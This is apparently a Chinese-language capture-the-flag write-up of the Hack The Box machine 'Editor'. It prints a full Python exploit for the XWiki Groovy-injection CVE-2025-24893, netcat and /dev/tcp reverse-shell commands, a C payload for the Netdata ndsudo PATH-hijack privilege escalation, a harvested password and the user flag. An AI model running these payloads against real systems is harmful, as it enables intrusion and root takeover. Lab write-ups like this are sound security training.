Pwned-Exploiting HTB Editor

Editor

第一步先上nmap进行扫描

1
nmap -sV -sC --min-rate 1000 --max-retries 1 10.10.11.80 --verbose

picture 0

扫描结果显示目标主机开放了 22、808080 端口,其中 808080 端口表明其运行了 HTTP 服务。

第二步

访问目标的 HTTP 服务时发现无法正常响应,经检查需要将目标域名手动添加到/etc/hosts中才能访问。
picture 1

进入网站后发现页面内容较为简单,没有明显可利用的渗透点。随后尝试访问其 8080 端口。
picture 2

识别到目标运行的版本为 XWiki Debian 15.10.8,随后在 Exploit-DB 中检索到该版本存在已知漏洞,可被利用进行进一步渗透。

picture 4

但是给出的POC无法使用,故寻找其他的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/python3

import argparse
import urllib.parse
import requests
import sys

# Define color dictionary
color = {
"NC": '\033[0m',
"RED": '\033[91m',
"GREEN": '\033[92m',
"YELLOW": '\033[93m',
"BLUE": '\033[94m',
"MAGENTA": '\033[95m',
"CYAN": '\033[96m',
"WHITE": '\033[97m'
}


# Define some pretty characters
STAR: str = f"{color['YELLOW']}[{color['BLUE']}*{color['YELLOW']}]{color['NC']}"
WARNING_STR: str = f"{color['RED']}[{color['YELLOW']}!{color['RED']}]{color['NC']}"


# Ctrl+C
def signal_handler(sig, frame)->None:
print(f"\n{WARNING_STR} {color['RED']}Ctrl+C! Exiting...{color['RESET']}")
sys.exit(1)


def parse_arguments()->argparse.Namespace:
"""
Get arguments from user
"""
# Create an ArgumentParser object
parser = argparse.ArgumentParser(description=f"{color['BLUE']}CVE-2025-24893{color['NC']} exploit by {color['RED']}gunzf0x{color['NC']}",
epilog=f"""
{color['YELLOW']}Example usage:{color['NC']}
{color['GREEN']}python3 {sys.argv[0]} -t 'http://example.com:8080' -c 'ping -c1 10.10.10.10'{color['NC']}""",
formatter_class=argparse.RawTextHelpFormatter)
# Add arguments with flags
parser.add_argument("-t", "--target", type=str, help="Target url. For example: 'http://example.com' or 'http://example.com:8080'", required=True)
parser.add_argument("-c", "--command", type=str, help="System command to execute in the target machine", required=True)
# Return the parsed arguments
return parser.parse_args()


def check_url(original_url: str)->str:
"""
Check if url provided is in correct format
"""
if not original_url.startswith("http://") or not original_url.startswith("https://"):
print(f"{WARNING_STR} protocol not found in url (HTTP or HTTPs). Assumming it is 'https' adding 'http://' string to url...")
return 'http://' + original_url
return original_url


def exploit(target: str, command: str)->None:
"""
Exploit for CVE-2025-24893 attacking vulnerable endpoint
"""
# Set target url
print(f"{STAR} Attacking {color['CYAN']}{target}{color['NC']}")
url_payload: str = f"{target[:-1] if target.endswith('/') else target}/xwiki/bin/get/Main/SolrSearch?media=rss&text="
original_payload: str = f'}}}}{{{{async async=false}}}}{{{{groovy}}}}"{command}".execute(){{{{/groovy}}}}{{{{/async}}}}'
encoded_payload: str = urllib.parse.quote(original_payload)
vulnerable_endpoint: str = f"{url_payload}{encoded_payload}"
print(f"{STAR} Injecting the payload:\n{color['CYAN']}{vulnerable_endpoint}{color['NC']}")
try:
requests.get(vulnerable_endpoint, verify=False, timeout=15)
except Exception as e:
print(f"{WARNING_STR} {color['RED']}An error ocurred:\n{color['YELLOW']}{e}{color['NC']}")
sys.exit(1)
print(f"{STAR} {color['MAGENTA']}Command executed{color['NC']}")
print("\n~Happy Hacking")



def main()->None:
# Get arguments form user
args: argparse.Namespace = parse_arguments()
# Execute the exploit attacking the vulnerable endpoint
exploit(args.target, args.command)


if __name__ == "__main__":
main()

利用该脚本对网站进行反弹shell

1
2
3
4
5
6
# 首先攻击端进行端口监听
ncat -lnvp 4444
# 之后进行反弹shelll,不知道为什么加busybox的自行查阅
python CVE-2024-24893.py -t http://wiki.editor.htb/ -c 'busybox nc 10.10.16.3 4444 -e /bin/bash'
# 开启交互式终端便于操作
python3 -c 'import pty;pty.spawn("/bin/bash")'

picture 5

提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 进入home后发现有个名为oliver的用户
cd /home

# 回到刚进来时的文件夹
cd /usr/lib/xwiki-jetty

# 通过询问gpt,可以获取相关的结构信息,找到一个名为hibernate.cfg.xml的配置文件,通过该命令发现其中存在密码,密码为
# theEd1t0rTeam99
grep passw* hibernate.cfg.xml

# 下面尝试进行ssh连接
ssh oliver@10.10.11.80

# 发现连接成功,获得user flag
oliver@editor:~$ cat user.txt
9afa9913d95e68e660182441f4d2c3e4

# 下面尝试进行root提权,看看有没有什么是root下面执行,发现没有
oliver@editor:~$ sudo -l
[sudo] password for oliver:
Sorry, user oliver may not run sudo on editor.

# 查看网络监听情况,发现其有若干的端口监听服务,一个一个看,进行端口转发
netstat -nutl

picture 6

1
2
# 进行端口转发,这样就可以远程访问19999端口啦
ssh -L 19999:127.0.0.1:19999 oliver@10.10.11.80

发现为Netdata网站,并且进去有红色升级提醒,那就看看是否存在漏洞。
picture 7

查阅后发现确实存在漏洞,编号为CVE-2024-32019。受影响的 Netdata Agent 版本附带的工具ndsudo允许攻击者以root权限运行任意程序。通过google找到了相应的POCCVE-2024-32019-POC

1
2
3
4
5
6
7
8
9
# 首先按照他的POC找到该文件的位置
oliver@editor:~$ find / -name ndsudo 2>/dev/null
# 位置为
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

# 执行一下
oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
nvme : not available in PATH.

1
2
3
4
5
6
7
8
9
10
11
12
// 按照他给的代码改动再次反弹shell
#include <unistd.h> // for setuid, setgid, execl
#include <stddef.h> // for NULL

int main()
{
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-c", "bash -i >& /dev/tcp/10.10.16.3/9999 0>&1", NULL);
return 0;
}

1
2
3
4
5
6
7
8
9
10
11
12
# 首先编译一下,因为我的电脑为M4版本Mac电脑,需要使用docker才能编译为x86_64的
docker run --rm --platform linux/amd64 -v "$PWD":/src -w /src ubuntu:latest bash -c "apt update && apt install -y build-essential && gcc -o nvme exploit.c -static"

# 得到nvme之后将其传入到目标机器
scp oliver@10.10.11.80

# 修改其可执行权限,并把所在目录加入到PATH
chmod +x nvme
export PATH=$(pwd):$PATH

# 执行命令 即可以root身份反弹shell
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

又学到了T_T